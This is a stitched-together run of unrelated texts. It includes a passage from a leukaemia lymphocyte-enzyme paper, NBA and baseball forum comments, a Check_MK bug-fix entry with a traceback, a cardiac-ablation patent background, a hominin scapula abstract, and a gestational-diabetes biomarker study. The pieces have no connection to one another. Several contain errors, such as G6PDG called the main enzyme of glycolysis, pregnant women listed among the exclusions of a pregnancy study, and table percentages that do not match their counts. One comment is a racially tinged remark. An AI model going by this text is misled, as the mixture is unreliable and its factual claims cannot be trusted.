The NADH-LDG activity in blood lymphocytes in first attack was lower, in remission it was restored to the control values and remained the same in recurrence ([Fig. 3 A](#F0003){ref-type="fig"}). The NADH-MDG activity in first attack of ALL remained normal, but in remission it was significantly lower ([Fig. 3 B](#F0003){ref-type="fig"}) than in control and attack). In recurrence of ALL, the activity of this enzyme was higher relative to the remission values, but was remained statistically low relative to the control and first attack values.
{#F0003}
These enzymes occupy key position in different immune competent cells metabolic pathways[@CIT1][@CIT6]. The decreased intracellular G6PDG activity in patients of ALL in first attack and recurrence led to little output of products of pentose phosphate cycle and inhibited many reactions of macromolecular synthesis. G6PDG is the main enzyme of glycolysis. We proposed that patients in first attack and recurrence had the anaerobic glycolysis inhibition in terminal reactions. The G3PDG activity, responsible for the transfer of the products of lipid catabolism to reactions of glycolysis, in patients in attack and in recurrence also, was lower. In remission the level of this enzyme was restored to normal, so in this stage we observed the normal reactions of anaerobic glucose oxidation.
The activity of GR in first attack and recurrence was lower because of low level of NADPH output in pentose phosphate cycle. In remission there was a significant decrease of NADH-GDG activity, on which the synthesis of glutathione depends. So there was increasing level of peroxidating processes in lymphocytes decreasing their functional activity.
Lymphocytes are aerobic cells. It is known, that intensity of aerobic processes depends on cycle of tricarbonic acids activity. The activity of NADICDG, which responded for early reactions, was significantly lower in blood lymphocytes in patients in first attack and complete remission. Same time, MDG activity was lower in all stages of ALL. The level of lacertus reaction of NADPICDG activity also was lower in all stages of disease.
In all ALL patients aerobic LDG reaction was lower. NADPMDG reaction was lower in first attack and complete remission and became normal in recurrence. There were connections from amino acid metabolism reactions to with the help of NADGDG and NADPGDG. In patients during first attack and complete remission NADGDG activity was lower, but in recurrence it became high. The NADPGDG reaction was higher in attack and recurrence
In blood lymphocytes of ALL patients in all stages the intensity of aerobic processes was lower, the processes of substrate connections between reactions of cycle of tricarbonic acids and amino acids metabolism reactions were disturbed. In remission and recurrence, the disturbances of metabolic status of mitochondria compartment was complicated by the inhibition of the key malat-aspartat shunt reaction and hydrogenous gradient was lower[@CIT1]--[@CIT3]. Having analyzed changing activity of lymphocyte enzymes in different ALL stages, and, also having connected them with features of a clinical picture of patients, we could predict the occurrence of infectious and haemorrhagic complications in these patients under the initial enzyme status of lymphocytes. (patent no. RU2315 305C2, RU 2324 190 C2).
Thus, during the examination of immune system and activities of enzymes in blood lymphocytes it was found that all patients with ALL had the decreasing T- lymphocytes content in blood. In first attack, the CD4^+^- lymphocytes content was lower with increased Ig M and Ig G concentration. In complete remission, all examined parameters were lower. The peculiarities of recurrence ALL was the high NK-cells content and disbalance of the main immunoglobulin concentrations. Our results showed that most of changes in immune status of patients were in a stage of complete remission when patients arrived on its maintenance through the small period from spent before therapy when the immune system of the patient has not been restored. Perhaps cytostatic action causes immune failure later on and starts disease again. Probably, use in maintenance of remission of replaceable therapy will allow adapting the patient for the subsequent pathogenetic treatment and will not cause repeated recurrence of disease
This work was financially supported by the Institute of Medical Problems of the North, Siberian Division, Russian Academy of Medical Sciences, Russia.
|
cinnamon applesauce
and yes, i’m just going to use this as an excuse to bitch that i have the mumps. i thought they were extinct. but the applesauce is delicious
by ThisIsTraps on Mar 30, 2010 10:13 AM CST
Me: Every single topic in the game thread eventually turned into hate for Al Harrington, including this one.
How is this game close?
This is one of these absolutely bizarre Knick games where you watch and you just feel like there’s no chance the Knicks are even close but you look at the score and it’s tied.
Or is that just what ten years of losing does to you?
by gbnypat on Mar 30, 2010 10:44 AM CST
no, i’m with you
strange, strange game
by Seth on Mar 30, 2010 10:45 AM CST
The knicks offense
has no flow whatsoever and they don’t seem to be shooting particularly well. But I guess they are playing OK d and rebounding?
by fuhry on Mar 30, 2010 10:50 AM CST
How many black people are named Millsapp?
by FreeBradshaw on Mar 30, 2010 10:50 AM CST
I GOT MY COMP FIXED!!! I can watch the last 6 minutes
by Rohpuri on Mar 30, 2010 11:06 AM CST
If they lose I’m blaming you
by gbnypat on Mar 30, 2010 11:07 AM CST
they lose it’s nothing new
by Rohpuri on Mar 30, 2010 11:07 AM CST
Way to shirk responsibility
by gbnypat on Mar 30, 2010 11:08 AM CST
WHy does the team refuse to go through tmac? this is ridiculous
by knicks_2 on Mar 30, 2010 11:15 AM CST
i dont know who would win, but i think d’antoni and SVG would go 7 games in an “exasperation face” series.
by TheMoon on Mar 30, 2010 11:22 AM CST |
Title: Automatic service adding: Fixed exception when using time range to skip automatic configuration
Level: 1
Component: checks
Class: fix
Compatible: compat
State: unknown
Version: 1.4.0i1
Date: 1456129237
This fixes the exception:
Traceback (most recent call last):
File "/omd/sites/stable/share/check_mk/modules/check_mk.py", line 5065, in <module>
discover_marked_hosts()
File "/omd/sites/stable/share/check_mk/modules/discovery.py", line 441, in discover_marked_hosts
why_not = may_rediscover(params)
File "/omd/sites/stable/share/check_mk/modules/discovery.py", line 389, in may_rediscover
now = datetime.datetime.utcfromtimestamp(now_ts)
NameError: global name 'datetime' is not defined
|
1. Field of the Inventions
The inventions generally relate to systems and methods for diagnosing or treating medical conditions.
2. Description of the Related Art
There are many medical treatments which involve instances of cutting, ablating, coagulating, destroying, or otherwise changing the physiological properties of tissue (collectively referred to herein as xe2x80x9ctissue modificationxe2x80x9d). For example, tissue modification can be used to change the electrophysiological properties of tissue. Although treatments that include tissue modification are beneficial, the physiological changes to the tissue are often irreversible and the modification of tissue other than the intended tissue can disable or even kill a patient. Accordingly, physicians must carefully select the tissue that is to be treated in this manner.
One area of medical treatment which involves tissue modification is the ablation of cardiac tissue to cure various cardiac conditions. Normal sinus rhythm of the heart begins with the sinoatrial node (or xe2x80x9cSA nodexe2x80x9d) generating a depolarization wave front. The impulse causes adjacent myocardial tissue cells in the atria to depolarize, which in turn causes adjacent myocardial tissue cells to depolarize. The depolarization propagates across the atria, causing the atria to contract and empty blood from the atria into the ventricles. The impulse is next delivered via the atrioventricular node (or xe2x80x9cAV nodexe2x80x9d) and the bundle of HIS (or xe2x80x9cHIS bundlexe2x80x9d) to myocardial tissue cells of the ventricles. The depolarization of these cells propagates across the ventricles, causing the ventricles to contract. This conduction system results in the described, organized sequence of myocardial contraction leading to a normal heartbeat.
Sometimes aberrant conductive pathways develop in heart tissue, which disrupt the normal path of depolarization events. For example, anatomical obstacles in the atria or ventricles can disrupt the normal propagation of electrical impulses. These anatomical obstacles (called xe2x80x9cconduction blocksxe2x80x9d) can cause the electrical impulse to degenerate into several circular wavelets that circulate about the obstacles. These wavelets, called xe2x80x9creentry circuits,xe2x80x9d disrupt the normal activation of the atria or ventricles. As a further example, localized regions of ischemic myocardial tissue may propagate depolarization events slower than normal myocardial tissue. The ischemic region, also called a xe2x80x9cslow conduction zone,xe2x80x9d creates errant, circular propagation patterns, called xe2x80x9ccircus motion.xe2x80x9d The circus motion also disrupts the normal depolarization patterns, thereby disrupting the normal contraction of heart tissue.
The aberrant conductive pathways create abnormal, irregular, and sometimes life-threatening heart rhythms, called arrhythmias. An arrhythmia can take place in the atria, for example, as in atrial tachycardia (AT), atrial fibrillation (AFIB) or atrial flutter (AF). The arrhythmia can also take place in the ventricle, for example, as in ventricular tachycardia (VT).
In treating VT and certain other arrhythmias, it is essential that the location of the sources of the aberrant pathways (called substrates) be located. Once located, the tissue in the substrates can be destroyed, or ablated, by heat, chemicals, or other means of creating a lesion in the tissue. Ablation can remove the aberrant conductive pathway, restoring normal myocardial contraction. The lesions used to treat VT are typically relatively deep and have a large surface area. However, there are some instances where shallower lesions will successfully eliminate VT.
The lesions used to treat AFIB, on the other hand, are typically long and thin and are carefully placed to interrupt the conduction routes of the most common reentry circuits. More specifically, the long thin lesions are used to create a maze pattern which creates a convoluted path for electrical propagation within the left and right atria. The lesions direct the electrical impulse from the SA node along a specified route through all regions of both atria, causing uniform contraction required for normal atrial transport function.
The lesions finally direct the impulse to the AV node to activate the ventricles, restoring normal atrioventricular synchrony.
Prior to modifying the electrophysiological properties of cardiac tissue by ablation, or by other means of destroying tissue to create lesions, physicians must carefully determine exactly where the lesions should be placed. Otherwise, tissue will be unnecessarily destroyed. In addition, the heart is in close proximity to nerves and other nervous tissue and the destruction of this tissue will result in severe harm to the patient.
With respect to the treatment of VT, physicians examine the propagation of electrical impulses in heart tissue to locate aberrant conductive pathways. The techniques used to analyze these pathways, commonly called xe2x80x9cmapping,xe2x80x9d identify regions (or substrates) in the heart tissue which can be ablated to treat the arrhythmia. One form of conventional cardiac tissue mapping techniques uses multiple electrodes positioned in contact with epicardial heart tissue to obtain multiple electrograms. The physician stimulates myocardial tissue by introducing pacing signals and visually observes the morphologies of the electrograms recorded during pacing, which this Specification will refer to as xe2x80x9cpaced electrograms.xe2x80x9d The physician visually compares the patterns of paced electrograms to those previously recorded during an arrhythmia episode to locate tissue regions appropriate for ablation. These conventional techniques require invasive open heart surgical techniques to position the electrodes on the epicardial surface of the heart.
Conventional epicardial electrogram processing techniques used for detecting local electrical events in heart tissue are often unable to interpret electrograms with multiple morphologies. Such electrograms are encountered, for example, when mapping a heart undergoing ventricular tachycardia (VT). For this and other reasons, consistently high correct identification rates (CIR) cannot be achieved with current multi-electrode mapping technologies. In treating VT using conventional open-heart procedures, the physician may temporarily render a localized region of myocardial tissue electrically unresponsive during an induced or spontaneous VT episode. This technique, called xe2x80x9cstunning,xe2x80x9d is accomplished by cooling the tissue. If stunning the localize region interrupts an ongoing VT, or suppresses a subsequent attempt to induce VT, the physician ablates the localized tissue region. However, in conventional practice, cooling a significant volume of tissue to achieve a consistent stunning effect is clinically difficult to achieve.
Another form of conventional cardiac tissue mapping technique, called pace mapping, uses a roving electrode in a heart chamber for pacing the heart at various endocardial locations. In searching for the VT substrates, the physician must visually compare all paced electrocardiograms (recorded by twelve lead body surface electrocardiograms (ECG""s)) to those previously recorded during an induced VT. The physician must constantly relocate the roving electrode to a new location to systematically map the endocardium.
These techniques are complicated and time consuming. They require repeated manipulation and movement of the pacing electrodes. At the same time, they require the physician to visually assimilate and interpret the electrocardiograms. Because the lesions created to treat VT typically have a large volume, the creation of lesions that are improperly located results in a large amount of tissue being destroyed, or otherwise modified, unnecessarily. Additionally, because these techniques do not distinguish between VTs that require a deep lesion, and VTs that can be treated with a more shallow lesion, tissue will be unnecessarily modified when a deep lesion is made to treat VTs that only require a more shallow lesion.
Turning to the treatment of AFIB, anatomical methods are used to locate the areas to be ablated or otherwise modified. In other words, the physician locates key structures such as the mitral valve annulus and the pulmonary veins. Lesions are typically formed that block propagations near these structures. Additional lesions are then formed which connect these lesions and complete the so-called xe2x80x9cmaze pattern.xe2x80x9d However, the exact lesion pattern, and number of lesions created, can vary from patient to patient. This can lead to tissue being unnecessarily destroyed in patients who need fewer lesions than the typical maze pattern.
Another issue that often arises in the treatment of AFIB is atrial flutters which remain after the physician finishes the maze procedure. Such flutters are the result of gaps in the lesions that form the maze pattern. The gaps in the lesions must be located so that additional tissue modification procedures may be performed to fill in the gaps. Present method of locating these gaps are, however, difficult and time consuming.
There thus remains a real need for systems and procedures that simplify the process of locating tissue that is intended for cutting, ablating, coagulating, destroying, or otherwise changing its physiological properties.
One aspect of a present invention provides systems and methods for conducting diagnostic testing of tissue. The systems and methods transmit an electrical energy pulse that temporarily renders a zone of tissue electrically unresponsive. The systems and methods may also sense an electrophysiological effect due to the transmitted pulse. Based at least in part upon the sensing of the electrophysiological effect, the physician can determine whether the temporarily unresponsive tissue is in fact the tissue that is intended for modification. Thus, the present invention allows the physician to easily identify the tissue that is intended for modification, as well as tissue that is not.
In the area of cardiac treatment, for example, temporarily rendering localized zones of myocardial tissue electrically unresponsive allows the physician to locate potential pacemaker sites, slow conduction zones and other sources of aberrant pathways associated with arrhythmia. Using the same process, the physician can selectively alter conduction properties in the localized zone, without changing electrophysiological properties of tissue outside the zone. With respect to the treatment of VT, the present invention allows a physician to temporarily create a large, deep area of electrically unresponsive tissue and then determine whether such tissue should be made permanently electrically unresponsive by performing tests which show whether or not the VT has been eliminated. When treating AFIB, the physician can create continuous long, thin areas of electrically unresponsive tissue and then perform testing if required to insure that the permanent modification of the temporarily unresponsive tissue would create the desired therapeutic effect. Similar techniques may also be used to precisely locate the sources of AF.
Once it is determined that the temporarily unresponsive tissue is the tissue that should be permanently modified to cure the VT, AFIB or other arrhythmia, the physician can alter an electrophysiological property of the myocardial tissue in or near the diagnosed zone. The electrophysiological property of myocardial tissue can be altered, for example, by ablating myocardial tissue in or near the zone. The physician will not ablate the tissue if the zone does not meet preestablished criteria for ablation.
During procedures that are performed in and around neural tissue, physicians can render the tissue temporarily unresponsive prior to permanent modification. Tests can then be performed to determine whether unwanted paralysis is present. If it is not, the physician can proceed with modification.
In a preferred embodiment, the systems and methods use radio frequency energy to both temporarily render tissue electrically unresponsive as well as modify the tissue, should the established criteria be met. The same electrode (or series of electrodes) may be used to transmit the radio frequency energy, which, in one mode, temporarily renders the tissue electrically unresponsive and which, in a second mode, ablates or otherwise modifies the tissue.
Another one of the present inventions is an electrical energy generating device. A preferred embodiment of the device includes a first element that, when activated, generates for transmission by an electrode (or series of electrodes) coupled to the device an electrical energy pulse that temporarily renders tissue electrically unresponsive. The device also comprises a second element that, when activated, generates for transmission by an electrode (or series of electrodes) coupled to the device electrical energy to modify tissue by, for example, ablating the tissue. A switch may be provided which selects for activation either the first element or the second element.
The above described and many other features and attendant advantages of the present inventions will become apparent as the invention becomes better understood by reference to the following detailed description when considered in conjunction with the accompanying drawings. |
/m/dugout
Reader Comments and Retorts
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1. Combined for 83 HR that year, with one leading the league in homers at age 23.
2. You guys are so close I might just give it to you. One was a rookie, the other in his first year with the club.
3. Same last name as a player listed upthread. His teammate hit under the Mendoza Line.
Soon as I saw the trivia question in this thread, I knew Jose Hernandez would be one of the answers.
Back when he was a Cub, my friends and I opined that a special rule should be passed such that whenever Jose had a 2-strike count he should just be called out, in order to save us all time. Even the worst slider thrown low and away would punch him out. |
Scapular anatomy of Paranthropus boisei from Ileret, Kenya.
KNM-ER 47000A is a new 1.52 Ma hominin scapular fossil belonging to an associated partial skeleton from the Koobi Fora Formation, Kenya (FwJj14E, Area 1A). This fossil effectively doubles the record of Early Pleistocene scapulae from East Africa, with KNM-WT 15000 (early African Homo erectus) preserving the only other known scapula to date. KNM-ER 47000A consists of a complete glenoid cavity preserving a portion of the scapular spine and neck, the proximal half of the acromion, and a majority of the axillary border. A sufficient amount of anatomy is preserved to compare KNM-ER 47000A with scapulae of several Australopithecus species, extinct Homo, and living hominoids. The glenohumeral joint of KNM-ER 47000A is more laterally oriented than those of great apes and Australopithecus, aligning it closely with KNM-WT 15000 and modern humans. While this morphology does not imply a strong commitment to arboreality, its scapular spine is obliquely oriented-as in gorillas and some Australopithecus fossils-particularly when compared to the more horizontal orientation seen in KNM-WT 15000 and modern humans. Such a spine orientation suggests a narrow yet long infraspinous region, a feature that has been attributed to suspensory taxa. Accordingly, the morphology of KNM-ER 47000A presents conflicting behavioral implications. Nonetheless, a multivariate consideration of the available scapular traits aligns KNM-ER 47000A and Australopithecus with great apes, whereas KNM-WT 15000 resembles modern humans. The scapular morphology of KNM-ER 47000A is unique among fossil and extant hominoids and its morphological differences from KNM-WT 15000 strengthen the attribution of KNM-ER 47000 to Paranthropus boisei as opposed to early Homo. As the first evidence of scapular morphology in P. boisei, KNM-ER 47000A provides important new information on variation in hominin shoulder and upper limb anatomy from this critical period of hominin evolutionary history. |
Introduction
============
Gestational diabetes mellitus (GDM) is a temporary diabetes mellitus with glucose intolerance during pregnancy. The difference between GDM and diabetes mellitus is sex specificity and temporality, while insulin resistance (IR) is a similar feature between GDM and diabetes mellitus ([@b1-etm-0-0-8247],[@b2-etm-0-0-8247]). According to statistics, GDM accounts for \~2--6% of the total pregnancies in Europe and nearly half of GDM patients are highly likely to develop diabetes within 10 years ([@b3-etm-0-0-8247]). In recent years, the methods of early diagnosis and treatment of GDM have been continuously optimized, but early GDM may still lead to poor pregnancy outcomes ([@b4-etm-0-0-8247]). The pathophysiological mechanism of GDM involves chronic low-grade inflammation, insulin secretion deficiency and abnormal glucose and lipid metabolism caused by obesity ([@b5-etm-0-0-8247]--[@b7-etm-0-0-8247]). Therefore, we can explore new early diagnostic tools and potential therapeutic targets for GDM from three angles of improving chronic inflammatory response, increasing insulin sensitivity and maintaining glucose and lipid metabolism balance, which is of great significance for improving pregnancy outcomes of GDM patients.
Chemerin is an inflammatory adipocyte factor and chemoattractant protein secreted by adipocytes. Chemerin has regulatory functions on inflammatory state, fat formation and glycolipid homeostasis and is closely related to IR ([@b8-etm-0-0-8247]--[@b10-etm-0-0-8247]). Studies have shown that high levels of Chemerin are associated with poor prognosis of preeclampsia, polycystic ovary syndrome, GDM and other pregnancy diseases ([@b11-etm-0-0-8247]--[@b13-etm-0-0-8247]). In the studies of Yang *et al* ([@b14-etm-0-0-8247]), serum Chemerin level was upregulated in GDM patients. The higher the Chemerin level of GDM patients in early pregnancy, the greater the risk of GDM development. It suggested that Chemerin can be used as a predictive marker of GDM development risk. The fatty acid-binding protein (FABP) family is a group of small molecular proteins that act as fatty acid transporters in cells, while FABP4 plays a key role in lipid metabolism as a member of FABP family ([@b15-etm-0-0-8247]). Studies have shown that FABP4 can enhance insulin sensitivity and reduce atherosclerosis. Knockdown of FABP4 gene can reduce the expression of inflammation-driven macrophage receptor ([@b16-etm-0-0-8247]). Ning *et al* ([@b17-etm-0-0-8247]), reported that FABP4 was overexpressed in GDM patients and has a significant positive correlation with IR and inflammatory factor TNF-α, suggesting that FABP4 can be used as a new biomarker for GDM. Chemerin and FABP4 are both inflammatory adipocyte factors expressed in adipocytes, both of which are related to the development and progression of GDM ([@b18-etm-0-0-8247]).
At present, there are few reports on the expression and correlation of Chemerin and FABP4 in the peripheral blood of GDM patients. Therefore, we explored the diagnostic value and potential therapeutic methods of Chemerin and FABP4 in GDM patients by detecting the expression of Chemerin and FABP4 in the peripheral blood of GDM patients.
Patients and methods
====================
### Baseline data
Sixty patients with GDM admitted to the People\'s Hospital of Zhangqiu Area (Jinan, China) from March 2018 to March 2019 were selected as the SG and another 50 healthy pregnant women corresponding in age and pregnancy were selected as the CG. In the SG, the age was 20--35 years with an average age of 27.33±4.75 years. In the CG, the age was 20--35 years with an average age of 27.80±5.27 years. The study was approved by the Ethics Committee of the People\'s Hospital of Zhangqiu Area. The subjects and family members signed an informed consent form.
### Inclusion and exclusion criteria
Inclusion criteria: Patients who met the standards formulated by the American Diabetes Association ([@b19-etm-0-0-8247]) in 2012. After 75 g glucose tolerance test at 24--28 weeks of gestation, GDM was diagnosed if any one of following was present: fasting blood glucose over 5.1 mmol/l, blood glucose over 10.0 mmol/l for 1 h, blood glucose over 8.5 mmol/l for 2 h. The age range was 20--35 years. The patient was informed and agreed to cooperate with the study.
Exclusion criteria: Patients with communication barrier or severe mental disorder; patients comorbid with malignant tumor or serious cardiac, lung, liver, kidney and other dysfunction; pregnant women; patients with hypertension or endocrine and metabolic diseases before pregnancy.
### Detection methods
Elbow venous blood (5 ml) was extracted from subjects on an empty stomach in the morning and then placed in a vacuum tube without anticoagulant and centrifuged at 2,600 × g for 10 min at 4°C. The serum was stored in EP tube for later use and placed in a low temperature refrigerator at −75°C. The serum was taken from the freezer, placed it in a refrigerator at 4°C for dissolution, and then placed it at room temperature for complete dissolution. Enzyme linked immunosorbent assay (ELISA) ([@b20-etm-0-0-8247]) was used to detect the expression of Chemerin, FABP4, interleukin-6 (IL-6) and tumor necrosis factor-α (TNF-α) in serum. The tests were carried out in strict accordance with the specifications of human Chemerin ELISA kit, human FABP4 ELISA kit, human IL-6 ELISA kit and human TNF-α ELISA kit (Shanghai Zhenyu Biotechnology Co., Ltd.; CSB-E10398h, CSB-E12995h, E-EL-H0102km, E-EL-H0109km). The sample well, standard sample well and blank well were set up. Sample (50 µl) to be tested was added to the sample well. The standard sample (50 µl) was added to the standard sample well. No reagent was added to blank well. Horseradish peroxidase labeled detection antibody (100 µl) was added to the sample well and the standard sample well, then the plate was sealed and incubated at 37°C for 60 min. The liquid was discarded, shaken off and repeatedly washed 5 times. The substrates A and B were fully mixed to volume of 1:1. Then (100 µl) of substrate mixed solution was added to each well. The plates were sealed and incubated at 37°C for 15 min. Terminal liquid (50 µl) was added to each well. The absorbance (OD value) at 450 nm of each well was read by a fully-automatic enzyme-labeled analyzer (M15; Shanghai Chenlian Biotechnology Development Co., Ltd.). The expression of Chemerin, FABP4, IL-6 and TNF-α were calculated.
### Statistical analysis
SPSS 19.0 (IBM Corp.) statistical data software was used for statistical analysis. GraphPad Prism6 (GraphPad Software) was used to draw the data. Enumeration data was expressed by the number of samples/percentage \[n(%)\]. The Chi-square test was used for comparison of enumeration data between groups. The measurement data were expressed as mean number ± standard deviation (mean ± SD). The independent-sample t-test was used to compare the measurement data between groups. Receiver operating characteristic (ROC) curve was used to evaluate the diagnostic value of peripheral blood Chemerin and FABP4 in GDM patients. Pearson\'s correlation coefficient was used to analyze the correlation between Chemerin and FABP4 as well as the correlation with inflammatory factors IL-6 and TNF-α. Logistic multivariate regression analysis was used to analyze the independent risk factors affecting GDN. P\<0.05 was considered statistically significant.
Results
=======
### Baseline data
There was no significant difference between the two groups in baseline data of height, gestational age, abdominal circumference, systolic blood pressure, diastolic blood pressure, postprandial insulin for 0.5 h, postprandial insulin for 1 h, postprandial insulin for 2 h, total cholesterol (P\>0.05), but there was a significant difference in baseline data of age, diabetes history, hyperlipidemia, pre-pregnancy BMI, increase of body mass during pregnancy, fasting blood glucose, fasting insulin, IR index (HOMA-IR), Chemerin or FABP4 (P\<0.05) ([Table I](#tI-etm-0-0-8247){ref-type="table"}).
### Expression of Chemerin and FABP4 of patients in the two groups
Expression of Chemerin was 5.78±1.35 and 7.71±2.23 µg/l in CG and SG, respectively, while expression of FABP4 was 21.53±8.89 and 35.14±11.39 µg/l in CG and SG, respectively. Expression of Chemerin in CG was significantly lower than that in SG (P\<0.001). The expression of FABP4 in CG was significantly lower than that in SG (P\<0.001) ([Fig. 1](#f1-etm-0-0-8247){ref-type="fig"}).
### Diagnostic value of Chemerin and FABP4 in GDM patients
The ROC curve of peripheral blood of Chemerin in the diagnosis of GDM patients was plotted and it was found that the AUC of peripheral blood of Chemerin in the diagnosis of GDM patients was 0.820 (95% CI, 0.744--0.896), the cut-off value was 6.78, the sensitivity was 73.33% and the specificity was 76.00%. AUC of peripheral blood FABP4 in the diagnosis of GDM patients was 0.814 (95% CI, 0.733--0.895), the cut-off value was 27.64, the sensitivity was 75.00% and the specificity was 80.00%. Then, the two single factors, Chemerin and FABP4, were used as independent variables to conduct binomial Logistic regression analysis. Logistic regression model was obtained: Logit (p) =−8.73+1.663 chemerin+27.574 FABP4. The AUC of the model for diagnosis of GDM patients was 0.904 (95% CI, 0.837--0.952), the cut-off value was 0.71, the sensitivity was 80.00% and the specificity was 96.00% ([Fig. 2](#f2-etm-0-0-8247){ref-type="fig"} and [Table II](#tII-etm-0-0-8247){ref-type="table"}).
### Expression of inflammatory factors IL-6 and TNF-α of patients in the two groups and the correlation with Chemerin and FABP4
The expression of inflammatory factor IL-6 in CG and SG was 83.89±5.74 and 98.34±8.98, respectively. The expression of inflammatory factor TNF-α in CG and SG were 84.58±7.38 and 130.24±12.02, respectively. The expression of inflammatory factors IL-6 and TNF-α in CG was significantly lower than that in SG (P\<0.001). Pearson correlation coefficient was used to analyze the correlation between chemerin, FABP4 and inflammatory factors IL-6, TNF-α. The results showed that chemerin and FABP4 were positively correlated with inflammatory factors IL-6 and TNF-α (r=0.658, P\<0.001; r=0.672, P\<0.001; r=0.648, P\<0.001; r=0.649, P\<0.001) ([Fig. 3](#f3-etm-0-0-8247){ref-type="fig"}).
### Multiple Logistic regression analysis of GDM
Multivariate Logistic regression analysis was conducted on the factors with differences. The results showed that age (P=0.002), diabetes history (P=0.007), hyperlipidemia (P=0.021), pre-pregnancy BMI (P=0.010), fasting blood glucose (P=0.002), Chemerin (P=0.004) and FABP4 (P=0.001) were independent risk factors for affecting GDM. Patients with advanced age (≥35 years), family history of diabetes, hyperlipidemia, high pre-pregnancy BMI, high fasting blood glucose, high Chemerin and high FABP4 expression have increased risk of GDM ([Tables III](#tIII-etm-0-0-8247){ref-type="table"} and [IV](#tIV-etm-0-0-8247){ref-type="table"}).
### Correlation analysis of Chemerin and FABP4
The correlation between Chemerin and FABP4 was analyzed by Pearson\'s correlation coefficient. The results showed that peripheral blood of Chemerin was positively correlated with FABP4 in SG (r=0.712, P\<0.001) ([Fig. 4](#f4-etm-0-0-8247){ref-type="fig"}).
Discussion
==========
GDM is a heterogeneous multivariate pregnancy disease with complicated pathological mechanism. In addition to inflammatory reaction, IR and abnormality of lipid and glucose metabolism, GDM also involves DNA methylation and oxidative stress signal transduction that affect cardiac function ([@b21-etm-0-0-8247]). Statistics showed that the increase in the prevalence of GDM is global and 33.33% of GDM pregnant women will suffer from postpartum depression ([@b22-etm-0-0-8247],[@b23-etm-0-0-8247]). In order to avoid the possible serious impact of GDM on the health of pregnant women and newborns, we advocate healthy diet and reasonable physical exercise for women during pregnancy. Some studies have shown that this has preventive effect on GDM ([@b24-etm-0-0-8247]).
In this study, the expression of peripheral blood of Chemerin and FABP4 in GDM patients was significantly upregulated compared with the CG. The AUC of peripheral blood of Chemerin and FABP4 for diagnosis of GDM patients was 0.820 and 0.814, while the AUC of peripheral blood of Chemerin combined with FABP4 for diagnosis of GDM patients was 0.904, indicating that peripheral blood of Chemerin combined with FABP4 has excellent diagnostic value for diagnosis of GDM patients and can be used as biomarker for prediction of GDM. In the study of Francis *et al* ([@b25-etm-0-0-8247]) on adipocyte factors and GDM risks, the concentrations of chemerin and FABP4 in GDM patients were significantly higher than those in CG and both were significantly positively correlated with GDM risks, indicating that Chemerin and FABP4 have certain diagnostic value for GDM and are important risk factors for GDM development. This is similar to the results of the present study. In the study of Zhang *et al* ([@b26-etm-0-0-8247]) on inflammation and metabolism of GDM patients in Inner Mongolia, the distribution frequency of inflammatory factors IL-6 and TNF-α in placenta in GDM women was significantly higher than that in healthy pregnant women and IL-6 was significantly correlated with GDM disease, suggesting that overexpression of these two inflammatory mediators may aggravate the progression of GDM disease by activating inflammatory cascade reaction in placenta. Other studies have shown that elevated levels of IL-6 and TNF-α in amniotic fluid of GDM patients may play an important role in the process of GDM ([@b27-etm-0-0-8247]). The results of this study on inflammatory factors showed that the expression of inflammatory factors IL-6 and TNF-α in SG was significantly higher than those in CG. Chemerin and FABP4 were significantly positively correlated with inflammatory factors IL-6 and TNF-α, suggesting that the high expression of Chemerin and FABP4 in inflammatory environment may be related to the development and progression of GDM. In studies of Feng *et al* ([@b28-etm-0-0-8247]) on risk factors of GDM, advanced age, hepatitis B virus, family history of diabetes, high BMI before pregnancy and a large increase of weight before 24 weeks of pregnancy may all increase the risk of GDM. In this study, the results of Logistic multivariate regression analysis of affecting GDM showed that advanced age (≥35 years), family history of diabetes, hyperlipidemia, high pre-pregnancy BMI, high fasting blood glucose, high Chemerin and high FABP4 expression are risk factors of GDM patients. Among them, high Chemerin and high FABP4 expression have the greatest risk multiple, indicating that knockdown of Chemerin and FABP4 expression may reduce the onset risk of GDM patients. In the report of Chung *et al* ([@b29-etm-0-0-8247]), a CRISPR system of interfering with FABP4 expression was directionally transmitted to white adipocytes, which showed improvement effect on obesity, inflammation and IR. In studies of Josephrajan *et al* ([@b30-etm-0-0-8247]) on the secretion mechanism of FABP4, the main secretion of FABP4 is the selective secretion mediated by autophagy, suggesting inhibition of the secretion of FABP4 by autophagy inhibitor to reduce the influence of FABP4 expression on IR in GDM patients. Chemerin and FABP4 in SG have significant positive correlation, which indicated that Chemerin and FABP4 may play a synergistic role in GDM, but the specific regulatory mechanism needs to be further determined by cytological function research.
This study confirmed the positive correlation between Chemerin and FABP4, both of which are overexpressed in GDM patients and have positive correlation with inflammatory factors IL-6 and TNF-α.
In conclusion, Chemerin and FABP4 have satisfactory diagnostic value for GDM patients and inhibition of chemorin and FABP4 expression can be used as potential therapeutic targets for GDM patients.
Not applicable.
Funding
=======
No funding was received.
Availability of data and materials
==================================
The datasets used and/or analyzed during the present study are available from the corresponding author on reasonable request.
Authors\' contributions
=======================
XW, JL, DW and JJ led the conception and design of this study. XW, JL, DW, HZ and LK were responsible for the data collection and analysis. XW, JL and JJ were in charge of interpreting the data and drafting the manuscript. HZ and LK made revision from critical perspective for important intellectual content. The final version was read and adopted by all the authors.
Ethics approval and consent to participate
==========================================
The study was approved by the Ethics Committee of the People\'s Hospital of Zhangqiu Area (Jinan, China). Signed informed consents were obtained from the patients and/or guardians.
Patient consent for publication
===============================
Not applicable.
Competing interests
===================
The authors declare that they have no competing interests.
{#f1-etm-0-0-8247}
{#f2-etm-0-0-8247}
{#f3-etm-0-0-8247}
{#f4-etm-0-0-8247}
######
Comparison of baseline data of patients between the two groups \[n(%), mean ± SD\].
Category CG (n=50) SG (n=60) χ^2^/t value P-value
--------------------------------------------- ------------- ------------- -------------- ---------
Age/years 3.976 0.046
≥35 7 (14.00) 18 (28.33)
\<35 43 (86.00) 42 (71.67)
Diabetes history 13.943 0.002
Yes 8 (16.00) 30 (50.00)
No 42 (84.00) 30 (50.00)
Hyperlipidemia 4.125 0.042
Yes 5 (10.00) 15 (25.00)
No 45 (90.00) 45 (75.00)
Height (cm) 161.54±5.23 162.01±5.12 0.637 0.526
Pre-pregnancy BMI (kg/m^2^) 4.073 0.044
≥23 11 (26.00) 24 (35.00)
\<23 39 (74.00) 36 (65.00)
Increase of body mass during pregnancy (kg) 13.52±4.26 15.61±4.53 2.475 0.015
Gestational age (week) 23.85±1.85 24.45±1.55 1.851 0.067
Abdominal circumference (cm) 99.98±6.36 101.87±6.65 1.514 0.133
Systolic blood pressure (mmHg) 114.12±9.06 115.59±8.99 0.851 0.397
Diastolic blood pressure (mmHg) 72.98±7.16 75.04±6.88 1.535 0.128
